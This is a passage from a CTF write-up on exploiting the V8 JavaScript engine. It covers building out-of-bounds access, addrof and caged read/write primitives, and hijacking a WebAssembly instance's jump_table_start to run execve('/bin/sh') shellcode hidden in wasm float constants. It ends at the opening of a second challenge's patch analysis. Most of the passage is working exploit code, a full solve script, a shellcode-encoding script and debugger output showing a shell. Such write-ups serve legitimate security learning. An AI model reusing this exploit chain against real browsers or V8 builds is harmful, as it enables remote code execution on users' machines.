is pushed, it would be located at 0x154a000dbd84
gef> tele 0x154a000dbd45-0x1 # &a
0x154a000dbd44|+0x0000|+000: 0x0000001000000565 # This is how JIT'd function `f` sees `a` elements as `HOLEY_DOUBLE_ELEMENTS` kind
0x154a000dbd4c|+0x0008|+001: 0x000dbd6d000dbd29 # a[0]
0x154a000dbd54|+0x0010|+002: 0x000006e9000006e9 # a[1]
0x154a000dbd5c|+0x0018|+003: 0x000006e9000006e9 # a[2]
0x154a000dbd64|+0x0020|+004: 0x000006e9000006e9 # a[3]
0x154a000dbd6c|+0x0028|+005: 0x9999999a000007b1 # a[4]
0x154a000dbd74|+0x0030|+006: 0x0018eff13fb99999 # a[5]
0x154a000dbd7c|+0x0038|+007: 0x000dbd95000006cd # a[6]
0x154a000dbd84|+0x0040|+008: 0x1337133700010000 # a[7] (recently pushed)
gef> tele 0x154a000dbd79-0x1 # &oob_arr (from `oob_arr` object perspective)
0x154a000dbd78|+0x0000|+000: 0x000006cd0018eff1 # map = 0x18eff1, properties = 0x6cd
0x154a000dbd80|+0x0008|+001: 0x00010000000dbd95 # elements = 0xdbd95, length = 0x10000 >> 1 = 0x8000
0x154a000dbd88|+0x0010|+002: 0x0000000213371337
gef> c
d8> oob_arr.length.toString(16)
"8000"
addrof Primitive
After overwriting oob_arr
object length, we have out-of-bound (OOB) access as
the actual oob_arr.elements
length is smaller than the array object length.
Let's use this OOB access to build addrof
primitive.
If we have an array which stores an object, the array elements
would store
the address of the object and accessing this through the declared array would
return us the object itself but not the address due to the element kind is set
accordingly. Things get interesting when we try to access this object from
another array whose element kind is of PACKED_DOUBLE_ELEMENTS
or HOLEY_DOUBLE_ELEMENTS
.
Since every elements in this array is interpreted as pure immediate value, the
array would not try to derefence any value. Thus, returning us the pointer
to the object.
note
SMI array works too but it only accesses 32-bit value at a time, unlike double array which accesses 64-bit value at a time.
Now, we introduce obj_leaker
which would serve as an array that stores an
object and helper functions to perform the OOB access and conversion between
integer and floating number.
let a;
let oob_arr;
let obj_leaker;
let jitted = false
let p = new Proxy(Object, {
get: function() {
if (jitted) {
a[0] = {};
oob_arr = Array(1);
oob_arr[0] = 1.1;
obj_leaker = [a, 2.2];
}
return Object.prototype;
}
})
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
function itof(i) {
int_view[0] = i
return float_view[0]
}
function ftoi(f) {
float_view[0] = f
return int_view[0]
}
function lo(x) {
return x & BigInt(0xffffffff)
}
function hi(x) {
return (x >> 32n) & BigInt(0xffffffff)
}
function hex(i) {
return "0x" + i.toString(16)
}
function oob_read32(offset) {
// convert from uint32 indexing to uin64 indexing
let val = ftoi(oob_arr[offset >> 1])
if (offset % 2 == 0) {
return lo(val)
}
return hi(val)
}
function oob_write32(offset, val) {
// convert from uint32 indexing to uin64 indexing
let temp = ftoi(oob_arr[offset >> 1])
let new_val;
if (offset % 2 == 0) {
new_val = itof((hi(temp) << 32n) | val)
} else {
new_val = itof(val << 32n | lo(temp))
}
oob_arr[offset >> 1] = new_val
}
const OBJ_LEAKER_OFFSET = ??
function addrof(o) {
obj_leaker[0] = o // assign our target object to `obj_leaker`
let addr = caged_oob_read32(OBJ_LEAKER_OFFSET) // read it using `oob_arr`
return addr
}
Next, we need to find OBJ_LEAKER_OFFSET
which is the offset between
oob_arr[0]
and obj_leaker[0]
. This could be achieved easily by bruteforcing
and match the read value with the address of a
(obtained from %DebugPrint(a)
)
for (let i = 0; i < 0x40; i++) {
print(hex(i), hex(oob_read32(i)))
}
eval("%DebugPrint(a)")
Using release version of d8
:
From the output of %DebugPrint(a)
, we know that the address of a
is 0x109400532779
.
Hence, we need to look for 0x532779
from the output and that would be our offset value,
which happens to be 0xd
.
const OBJ_LEAKER_OFFSET = 0xd
function addrof(o) {
obj_leaker[0] = o // assign our target object to `obj_leaker`
let addr = oob_read32(OBJ_LEAKER_OFFSET) // read it using `oob_arr`
return addr
}
print(hex(addrof(a)))
eval("%DebugPrint(a)")
$ ./d8 --allow-natives-syntax ./pwn.js
[+] Corrupted oob_arr.length with 32768
0x53b595
0x3c630053b595 <JSArray[8]>
We could see that our addrof
primitive is working but it only retrieves
the 32-bit sandbox offset which is as expected. But this is good enough for now.
Caged Arbitrary Read and Write Primitives
Now, we will see how to get arbitrary read and write primitives inside the heap
sandbox by introducing another helper array. With OOB write, we could overwrite
this helper array elements
pointer to control the memory address in which the
array perform read and write operation.
Recall that the elements
object itself has 8 bytes in the beginning to store
the map
and length
field. If the elements
pointer is set to N
, performing
arr[i]
would result in accessing memory address (N+8) + i * element_size
.
Thus, if we want to perform AAR/AAW on addres X
, we need to subtract it by 8
and remember to set the LSB to 1 for pointer tagging.
let a;
let oob_arr;
let obj_leaker;
let c_aar_arr;
let c_aaw_arr;
let jitted = false
let p = new Proxy(Object, {
get: function() {
if (jitted) {
a[0] = {};
oob_arr = Array(1);
oob_arr[0] = 1.1;
obj_leaker = [a];
c_aar_arr = [2.2];
c_aaw_arr = [3.3];
}
return Object.prototype;
}
})
const c_aar_arr_elements_offset = ??
const c_aaw_arr_elements_offset = ??
function caged_arb_read32(addr) {
let elements = addr - 8n | 1n;
oob_write32(c_aar_arr_elements_offset, elements)
let leak = lo(ftoi(c_aar_arr[0]))
return leak
}
function caged_arb_read64(addr) {
let elements = addr - 8n | 1n;
oob_write32(c_aar_arr_elements_offset, elements)
let leak = ftoi(c_aar_arr[0])
return leak
}
function caged_arb_write32(addr, val) {
let elements = addr - 8n | 1n;
let temp = caged_arb_read32(addr+4n)
oob_write32(c_aaw_arr_elements_offset, elements)
c_aaw_arr[0] = itof((temp << 32n) | val)
}
function caged_arb_write64(addr, val) {
let elements = addr - 8n | 1n;
oob_write32(c_aaw_arr_elements_offset, elements)
c_aaw_arr[0] = itof(val)
}
This time, we would need to get the offset between:
oob_arr[0]
and&c_aar_arr.elements
oob_arr[0]
and&c_aaw_arr.elements
We could repeat the same process when finding OBJ_LEAKER_OFFSET
, but this time
we would use GDB to see the value of c_aar_arr.elements
for (let i = 0; i < 0x40; i++) {
print(hex(i), hex(oob_read32(i)))
}
eval("%DebugPrint(c_aar_arr)")
eval("%DebugPrint(c_aaw_arr)")
$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./pwn.js'
[snip]
0x13 0x6cd
0x14 0x5594bd
0x15 0x2
[snip]
0x21 0x6cd
0x22 0x5594f5
0x23 0x2
[snip]
gef> tele 0x327e005594a5-0x1 2
0x327e005594a4|+0x0000|+000: 0x000006cd0018efb1
0x327e005594ac|+0x0008|+001: 0x00000002005594bd
gef> tele 0x327e005594dd-0x1 2
0x327e005594dc|+0x0000|+000: 0x000006cd0018efb1
0x327e005594e4|+0x0008|+001: 0x00000002005594f5
The final working primitive:
const c_aar_arr_elements_offset = 0x14
const c_aaw_arr_elements_offset = 0x22
function caged_arb_read32(addr) {
let elements = addr - 8n | 1n;
oob_write32(c_aar_arr_elements_offset, elements)
let leak = lo(ftoi(c_aar_arr[0]))
return leak
}
function caged_arb_read64(addr) {
let elements = addr - 8n | 1n;
oob_write32(c_aar_arr_elements_offset, elements)
let leak = ftoi(c_aar_arr[0])
return leak
}
function caged_arb_write32(addr, val) {
let elements = addr - 8n | 1n;
let temp = caged_arb_read32(addr+4n)
oob_write32(c_aaw_arr_elements_offset, elements)
c_aaw_arr[0] = itof((temp << 32n) | val)
}
function caged_arb_write64(addr, val) {
let elements = addr - 8n | 1n;
oob_write32(c_aaw_arr_elements_offset, elements)
c_aaw_arr[0] = itof(val)
}
We verify that our primitive is working with this little test:
test = [6.6, 7.7]
// trying to read test[0] by getting &test.elements
test_addr = addrof(test)
test_el_addr = caged_arb_read32(test_addr+8n)
test_0 = caged_arb_read64(test_el_addr+8n)
print(itof(test_0), "===", test[0])
// trying to modify test[0] and test[1] with our write primitive
print(hex(ftoi(test[0])))
print(hex(ftoi(test[1])))
caged_arb_write32(test_el_addr+8n, 0x13371337n)
caged_arb_write32(test_el_addr+8n+4n, 0x80088008n)
caged_arb_write64(test_el_addr+8n+8n, 0xdeadbeefcafebaben)
print(hex(ftoi(test[0])))
print(hex(ftoi(test[1])))
$ ./d8 --allow-natives-syntax ./my-poc.js
[+] Corrupted oob_arr.length with 32768
6.6 === 6.6
0x401a666666666666
0x401ecccccccccccd
0x8008800813371337
0xdeadbeefcafebabe
Escaping V8 Sandbox
When one is able to perform AAR/AAW outside the heap sandbox, it is usually
considered to have escaped the sandbox. One of the common method is through corrupting
ArrayBuffer
backing_store
which stores raw pointer instead of compressed
pointer. However, this is not possible anymore in the V8 version that we are
using.
The novel techniques usually involve using wasm to bypass the sandbox, however some of them have been patched:
- https://anvbis.au/posts/exploring-historical-v8-heap-sandbox-escapes-i/
- https://blog.theori.io/a-deep-dive-into-v8-sandbox-escape-technique-used-in-in-the-wild-exploit-d5dcf30681d4
- https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157
I could not find any other way to get unconstrained AAR/AAW due to lack of raw uncompressed pointer (skill issue probably).
Getting Code Execution
Getting code execution using shellcode as immediate numbers (as mentioned in the starlabs blog) does not work anymore.
After the end of the CTF, the author of this challenge revealed that he overwrote
WasmInstanceObject
jump_table_start
to hijack the execution flow into our
shellcode that we crafted inside the wasm code. Apparently, jump_table_start
stores the address to RWX
page for wasm stuff.
spektre: to escape the sandbox, you will need to use the wasm instance, there is a 64 bit raw pointer that is used to store the starting address of the jump table, if you overwrite that you will get RIP control. then you have to craft your shellcode in wasm code and then just have to jump in middle of the wasm code to execute your shellcode.
I used this blog post
for inspiration on crafting shellcode inside wasm code using floating numbers,
as well as starlabs blog post
to connect the fragmented shellcode with short jmp
and convert shellcode to floating numbers.
Let us try to use this simple wasm code
(module
(func (export "main") (result f64)
f64.const 13.37
f64.const 133.37
f64.const 1333.37
drop
drop
)
)
Then, compile it into bytecode using this toolkit.
wat2wasm ./sc.wat
Next, convert the bytecode into array with this simple python3 script.
#!/usr/bin/env python3
import sys
with open(sys.argv[1], "rb") as f:
bc = f.read()
arr = []
for i in bc:
arr.append(i)
print(arr)
$ python3 ./bc.py ./sc.wasm
[0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 33, 1, 31, 0, 68, 61, 10, 215, 163, 112, 189, 42, 64, 68, 164, 112, 61, 10, 215, 171, 96, 64, 68, 20, 174, 71, 225, 122, 213, 148, 64, 26, 26, 11]
Next, we copy and paste the array to our javascript code for integrating wasm.
// wasm.js
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 33, 1, 31, 0, 68, 61, 10, 215, 163, 112, 189, 42, 64, 68, 164, 112, 61, 10, 215, 171, 96, 64, 68, 20, 174, 71, 225, 122, 213, 148, 64, 26, 26, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
// JIT compile the wasm bytecode such that our floating immediate values are placed on RWX memory page
for (let j = 0x0; j < 10000; j++) {
wmain()
}
Next, we run the javascript code in debugger using the debug version of d8
.
We then try to look for our 13.37
floating numbers on a RWX
memory page.
$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./wasm.js'
gef> p/x 13.37
$1 = 0x402abd70a3d70a3d
gef> pipe search-pattern 0x402abd70a3d70a3d | grep -A1 'rwx'
[+] In (0x35ecd279d000-0x35ecd279e000 [rwx])
0x35ecd279d84f: 3d 0a d7 a3 70 bd 2a 40 c4 c1 f9 6e c2 49 ba a4 | =...p.*@...n.I.. |
Since we know from numencyberlabs
blog post that the instruction would be
mov reg, imm
, we just bruteforce subtracting 0x35ecd279d84f
with 1, 2, 3, ...
until we get the matching instruction.
gef> x/10i 0x35ecd279d84f-0x2
0x35ecd279d84d: movabs r10,0x402abd70a3d70a3d
0x35ecd279d857: vmovq xmm0,r10
0x35ecd279d85c: movabs r10,0x4060abd70a3d70a4
0x35ecd279d866: vmovq xmm1,r10
0x35ecd279d86b: movabs r10,0x4094d57ae147ae14
0x35ecd279d875: vmovq xmm2,r10
0x35ecd279d87a: mov r10,QWORD PTR [rsi+0x77]
Next, we take this assembly code and dump it into this link to see the machine code.
0: 49 ba 3d 0a d7 a3 70 movabs r10,0x402abd70a3d70a3d
7: bd 2a 40
a: c4 c1 f9 6e c2 vmovq xmm0,r10
f: 49 ba a4 70 3d 0a d7 movabs r10,0x4060abd70a3d70a4
16: ab 60 40
19: c4 c1 f9 6e ca vmovq xmm1,r10
1e: 49 ba 14 ae 47 e1 7a movabs r10,0x4094d57ae147ae14
25: d5 94 40
28: c4 c1 f9 6e d2 vmovq xmm2,r10
From here, we could reason out how many bytes do we need to jump from one shellcode
to another shellcode. The answer is 7 bytes. Now that we have the jump offset,
we could tweak the shellcode conversion script from starlabs
and use it
to generate our floating number shellcode. The modified script can be found
here.
The next step is to analyse when is this WasmInstanceObject.jump_table_start
field accessed using debugger with debug version of d8
.
// wasm.js
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 33, 1, 31, 0, 68, 61, 10, 215, 163, 112, 189, 42, 64, 68, 164, 112, 61, 10, 215, 171, 96, 64, 68, 20, 174, 71, 225, 122, 213, 148, 64, 26, 26, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
eval("%DebugPrint(instance)")
eval("%SystemBreak")
We could see the debug output of an WasmInstanceObject
and the jump_table_start
field is located at offset 0x48
.
$ gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./wasm.js'
DebugPrint: 0x3b01000da03d: [WasmInstanceObject] in OldSpace
- map: 0x3b01000d13a1 <Map[208](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b01000d144d <Object map = 0x3b01000da015>
- elements: 0x3b01000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b01001c9a99 <Module map = 0x3b01000d1279>
- exports_object: 0x3b01001c9ba9 <Object map = 0x3b01000da26d>
- native_context: 0x3b01000c3c79 <NativeContext[285]>
- memory_objects: 0x3b01000006cd <FixedArray[0]>
- tables: 0x3b01000006cd <FixedArray[0]>
- indirect_function_tables: 0x3b01000006cd <FixedArray[0]>
- imported_function_refs: 0x3b01000006cd <FixedArray[0]>
- indirect_function_table_refs: 0x3b01000006cd <FixedArray[0]>
- wasm_internal_functions: 0x3b01001c9b79 <FixedArray[1]>
- managed_object_maps: 0x3b01001c9b9d <FixedArray[1]>
- feedback_vectors: 0x3b01000006cd <FixedArray[0]>
- well_known_imports: 0x3b01000006cd <FixedArray[0]>
- memory0_start: 0x3c00ffffffff
- memory0_size: 0
- new_allocation_limit_address: 0x5555557030d0
- new_allocation_top_address: 0x5555557030c8
- old_allocation_limit_address: 0x5555557030e8
- old_allocation_top_address: 0x5555557030e0
- imported_function_targets: 0x3b0100000e69 <ByteArray[0]>
- globals_start: 0x3c00ffffffff
- imported_mutable_globals: 0x3b0100000e69 <ByteArray[0]>
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: 0x3b0100000e69 <ByteArray[0]>
- indirect_function_table_targets: 0x3b0100006175 <ExternalPointerArray[0]>
- isorecursive_canonical_types: 0x55555577d8a0
- jump_table_start: 0x2ba49517a000
- data_segment_starts: 0x3b0100000e69 <ByteArray[0]>
- data_segment_sizes: 0x3b0100000e69 <ByteArray[0]>
- element_segments: 0x3b01000006cd <FixedArray[0]>
- hook_on_function_call_address: 0x555555702c09
- tiering_budget_array: 0x555555774330
- memory_bases_and_sizes: 0x3b0100000e69 <ByteArray[0]>
- break_on_entry: 0
- properties: 0x3b01000006cd <FixedArray[0]>
- All own properties (excluding elements): {}
gef> tele 0x3b01000da03c 10
0x3b01000da03c|+0x0000|+000: 0x000006cd000d13a1
0x3b01000da044|+0x0008|+001: 0x000006cd000006cd
0x3b01000da04c|+0x0010|+002: 0x00000e69000006cd
0x3b01000da054|+0x0018|+003: 0x00000e6900006175 ('ua'?)
0x3b01000da05c|+0x0020|+004: 0x0000000000000e69
0x3b01000da064|+0x0028|+005: 0xffffffffff000000
0x3b01000da06c|+0x0030|+006: 0x0000000000000000
0x3b01000da074|+0x0038|+007: 0x000055555577d8a0 -> 0x00007fff00000003
0x3b01000da07c|+0x0040|+008: 0xffffffffff000000
0x3b01000da084|+0x0048|+009: 0x00002ba49517a000 -> 0x000000000007bbe9
Next, we setup a read watchpoint at 0x3b01000da084
, continue, then execute:
var wmain = instance.exports.main;
wmain();
gef> rwatch *0x3b01000da084
Hardware read watchpoint 1: *0x3b01000da084
gef> c
V8 version 12.2.0 (candidate)
d8> var wmain = instance.exports.main;
undefined
d8> wmain();
Thread 1 "d8" hit Hardware read watchpoint 1: *0x3b01000da084
0x7ffff3a72e01 4c037e47 <Builtins_WasmCompileLazy+0xc1> add r15, QWORD PTR [rsi + 0x47]
-> 0x7ffff3a72e05 48837df82c <Builtins_WasmCompileLazy+0xc5> cmp QWORD PTR [rbp - 0x8], 0x2c
0x7ffff3a72e0a 741d <Builtins_WasmCompileLazy+0xca> je 0x7ffff3a72e29 <Builtins_WasmCompileLazy+0xe9>
gef> x/gx $rsi+0x47
0x3b01000da084: 0x00002ba49517a000
gef> x/20i $rip
=> 0x7ffff3a72e05 <Builtins_WasmCompileLazy+197>: cmp QWORD PTR [rbp-0x8],0x2c
0x7ffff3a72e0a <Builtins_WasmCompileLazy+202>: je 0x7ffff3a72e29 <Builtins_WasmCompileLazy+233>
0x7ffff3a72e0c <Builtins_WasmCompileLazy+204>: mov edi,0x30
0x7ffff3a72e11 <Builtins_WasmCompileLazy+209>: mov r10,rsp
0x7ffff3a72e14 <Builtins_WasmCompileLazy+212>: sub rsp,0x8
0x7ffff3a72e18 <Builtins_WasmCompileLazy+216>: and rsp,0xfffffffffffffff0
0x7ffff3a72e1c <Builtins_WasmCompileLazy+220>: mov QWORD PTR [rsp],r10
0x7ffff3a72e20 <Builtins_WasmCompileLazy+224>: mov rax,QWORD PTR [r13+0x1cb8]
0x7ffff3a72e27 <Builtins_WasmCompileLazy+231>: call rax
0x7ffff3a72e29 <Builtins_WasmCompileLazy+233>: mov rsp,rbp
0x7ffff3a72e2c <Builtins_WasmCompileLazy+236>: pop rbp
0x7ffff3a72e2d <Builtins_WasmCompileLazy+237>: jmp r15
0x7ffff3a72e30: int3
0x7ffff3a72e31: int3
0x7ffff3a72e32: int3
0x7ffff3a72e33: int3
0x7ffff3a72e34: int3
0x7ffff3a72e35: int3
0x7ffff3a72e36: int3
0x7ffff3a72e37: int3
We could see that executing wmain();
triggers the watchpoint and we end up with
the code that uses this jump_table_start
field. Further down we could see
jmp r15
instruction which reveals that if we overwrite the value of
jump_table_start
, we could hijack the code execution flow. This is looking
good for us. However, if we try to execute wmain();
again, this part of
code is not executed anymore. To trigger this again, we need to execute another
function.
(module
(func (export "main") (result f64)
f64.const 13.37
f64.const 133.37
f64.const 1333.37
drop
drop
)
(func (export "pwn"))
)
We update our wasm.js
with the latest bytecode and re-run it again through debugger.
We then setup the read watchpoint and execute these code
var wmain = instance.exports.main;
wmain();
var pwn = instance.exports.pwn;
pwn();
Notice that it breaks when calling wmain()
and pwn()
.
V8 version 12.2.0 (candidate)
d8> var wmain = instance.exports.main;
undefined
d8> wmain();
Thread 1 "d8" hit Hardware read watchpoint 1: *0x3c49000da114
gef> info reg r15
r15 0x98c16bfb000 0x98c16bfb000
gef> c
d8> var pwn = instance.exports.pwn;
undefined
d8> pwn();
Thread 1 "d8" hit Hardware read watchpoint 1: *0x3c49000da114
gef> info reg r15
r15 0x98c16bfb005 0x98c16bfb005
Also notice that now r15
is 0x5
more than jump_table_start
.
Now that we have all the pieces we need, we could start creating execve('/bin/sh')
shellcode and update our initial solve script. The starting location of the shellcode
is consistent accross multiple run (but differs between debug and release version).
Hence, we could just observe and use it when overwriting jump_table_start
field.
Final Solve Script
The solve script and other helper files could be found on this link
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
function itof(i) {
int_view[0] = i
return float_view[0]
}
function ftoi(f) {
float_view[0] = f
return int_view[0]
}
function lo(x) {
return x & BigInt(0xffffffff)
}
function hi(x) {
return (x >> 32n) & BigInt(0xffffffff)
}
function hex(i) {
return "0x" + i.toString(16)
}
THRESHOLD = 0x2000
function f(p) {
a.push(Reflect.construct(function(){}, arguments, p)?4.1835592388585281e-216:0); // itof(0x1337133700010000)
}
let a;
let oob_arr;
let obj_leaker;
let c_aar_arr;
let c_aaw_arr;
let jitted = false
let p = new Proxy(Object, {
get: function() {
if (jitted) {
a[0] = {};
oob_arr = Array(1);
oob_arr[0] = 1.1;
obj_leaker = [a];
c_aar_arr = [2.2];
c_aaw_arr = [3.3];
}
return Object.prototype;
}
})
for (let i = 0; i <= THRESHOLD; i++) {
a = Array(8)
a[1] = 0.1
a.pop() // make a room such that push() does not reallocate elements
if (i == THRESHOLD) {
jitted = true;
}
f(p)
}
console.assert(oob_arr.length == 0x8000)
print("[+] Corrupted oob_arr.length with", oob_arr.length)
function oob_read32(offset) {
// convert from uint32 indexing to uin64 indexing
let val = ftoi(oob_arr[offset >> 1])
if (offset % 2 == 0) {
return lo(val)
}
return hi(val)
}
function oob_write32(offset, val) {
// convert from uint32 indexing to uin64 indexing
let temp = ftoi(oob_arr[offset >> 1])
let new_val;
if (offset % 2 == 0) {
new_val = itof((hi(temp) << 32n) | val)
} else {
new_val = itof(val << 32n | lo(temp))
}
oob_arr[offset >> 1] = new_val
}
const OBJ_LEAKER_OFFSET = 0xd
function addrof(o) {
obj_leaker[0] = o // assign our target object to `obj_leaker`
let addr = oob_read32(OBJ_LEAKER_OFFSET) // read it using `oob_arr`
return addr
}
const c_aar_arr_elements_offset = 0x14
const c_aaw_arr_elements_offset = 0x22
function caged_arb_read32(addr) {
let elements = addr - 8n | 1n;
oob_write32(c_aar_arr_elements_offset, elements)
let leak = lo(ftoi(c_aar_arr[0]))
return leak
}
function caged_arb_read64(addr) {
let elements = addr - 8n | 1n;
oob_write32(c_aar_arr_elements_offset, elements)
let leak = ftoi(c_aar_arr[0])
return leak
}
function caged_arb_write32(addr, val) {
let elements = addr - 8n | 1n;
let temp = caged_arb_read32(addr+4n)
oob_write32(c_aaw_arr_elements_offset, elements)
c_aaw_arr[0] = itof((temp << 32n) | val)
}
function caged_arb_write64(addr, val) {
let elements = addr - 8n | 1n;
oob_write32(c_aaw_arr_elements_offset, elements)
c_aaw_arr[0] = itof(val)
}
/*
(module
(func (export "main") (result f64)
f64.const 1.617548436999262e-270
f64.const 1.6181477269733566e-270
f64.const 1.6305238557700824e-270
f64.const 1.6477681441619941e-270
f64.const 1.6456891197542608e-270
f64.const 1.6304734321072042e-270
f64.const 1.6305242777505848e-270
drop
drop
drop
drop
drop
drop
)
(func (export "pwn"))
)
*/
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
wmain()
}
instance_addr = addrof(instance)
jump_table_start = instance_addr + 0x48n
rwx_addr = caged_arb_read64(jump_table_start)
sc_addr = rwx_addr + 0x81an - 0x5n
print("[+] Shellcode @", hex(sc_addr+0x5n))
print("[+] Overwriting WasmInstanceObject jump_table_start to point to our shellcode")
caged_arb_write32(jump_table_start, sc_addr & BigInt(2**32-1))
// to trigger jmp to address pointed by jump_table_start, we need another new function
var pwn = instance.exports.pwn;
print("[+] Executing shellcode")
pwn();
$ ./solve.py
[+] Opening connection to localhost on port 5555: Done
[*] Switching to interactive mode
[+] Corrupted oob_arr.length with 32768
[+] Shellcode @ 0x334262b8781a
[+] Overwriting WasmInstanceObject jump_table_start to point to our shellcode
[+] Executing shellcode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ /catflag
bi0sctf{w3ll_d3f1n1t3ly_4_sk1ll_i55u3_1f3738f8}
References
- https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-6418.html
- https://starlabs.sg/blog/2022/12-deconstructing-and-exploiting-cve-2020-6418
- https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157
- https://github.com/WebAssembly/wabt
Interesting Read
- https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html
- https://docs.google.com/document/d/1HSap8-J3HcrZvT7-5NsbYWcjfc0BVoops5TDHZNsnko/edit#heading=h.suker1x4zgzz
- https://jhalon.github.io/chrome-browser-exploitation-1/
- https://blog.theori.io/a-deep-dive-into-v8-sandbox-escape-technique-used-in-in-the-wild-exploit-d5dcf30681d4
- https://anvbis.au/posts/exploring-historical-v8-heap-sandbox-escapes-i/
- https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/
- https://mgp25.com/blog/2021/browser-exploitation/
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
- https://github.blog/2023-10-17-getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler/
- https://github.blog/2023-09-26-getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler/
- https://v8.github.io/api/head/
Appendix
Building d8 for Debugging
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$(pwd)/depot_tools:$PATH"
fetch v8
cd v8
./build/install-build-deps.sh
git checkout 970c2bf28dd
git apply v8.patch
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
cd ./out.gn/x64.debug
./d8
Python3 Script for Shellcode to Floating Numbers
The script to convert shellcode to floating numbers:
#!/usr/bin/env python3
import struct
from pwn import *
context.arch = "amd64"
# based off shellcraft.amd64.linux.execve(path='/bin/sh')
sc = '''
push 0x68732f6e
pop rax
push 0x69622f
pop rbx
shl rax, 24
add rax, rbx
xor rbx, rbx
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
def packshellcode(sc, n): # packs shellcode into n-byte blocks
ret = []
cur = b""
for line in sc.splitlines():
print(line)
k = asm(line)
print(k)
assert (len(k) <= n)
if (len(cur) + len(k) <= n):
cur += k
else:
ret += [cur.ljust(6, b"\x90")] # pad with NOPs
cur = k
ret += [cur.ljust(6, b"\x90")]
return ret
SC = packshellcode(sc, 6)
# Ensure no repeat of 6 byte blocks
D = dict(zip(SC, [SC.count(x) for x in SC]))
assert (max(D.values()) == 1)
# short jmp rel8: https://www.felixcloutier.com/x86/jmp
jmp = b'\xeb'
# add jumps after each 6 byte block
SC = [(x + jmp + b"\x07") for x in SC]
SC = [struct.unpack('<d', x)[0] for x in SC] # represent as doubles
for i in SC:
print(f"f64.const {i}")
for i in range(len(SC) - 1):
print("drop")
osu-v8
Author: rycbar
Description: You’re probably accessing the osu website with Chromium, right?
Attachment: dist.zip
Keywords
osu!gaming CTF 2024, pwn, browser, V8, V8 garbage collection, UAF, V8 sandbox, wasmtip
Some lines of code may be hidden for brevity.
Unhide the lines by clicking the eye
button on top right corner of the code block
TL;DR
- CVE-2022-1310 on V8 version 12.2.0 (8cf17a14a78cc1276eb42e1b4bb699f705675530, 2024-01-04)
- UAF on
RegExp().lastIndex
to create fake object (PACKED_DOUBLE_ELEMENTS
array) - Use the fake object to build other primitives, i.e.,
addrof
and caged read/write - shellcode execution via wasm instance object
Patch Analysis
note
Read this section if you are interested on how I found the CVE identifier
The given patch is the reverse of the fix for CVE-2022-1310 and disable functions
built into d8
which force players to get RCE instead of reading the flag
directly with read('flag.txt')
.
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index eb804e52b18..89f4af9c8b6 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3284,23 +3284,23 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
- global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "writeFile",
- FunctionTemplate::New(isolate, WriteFile));
- }
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
+ // global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
+ // global_template->Set(isolate, "printErr",
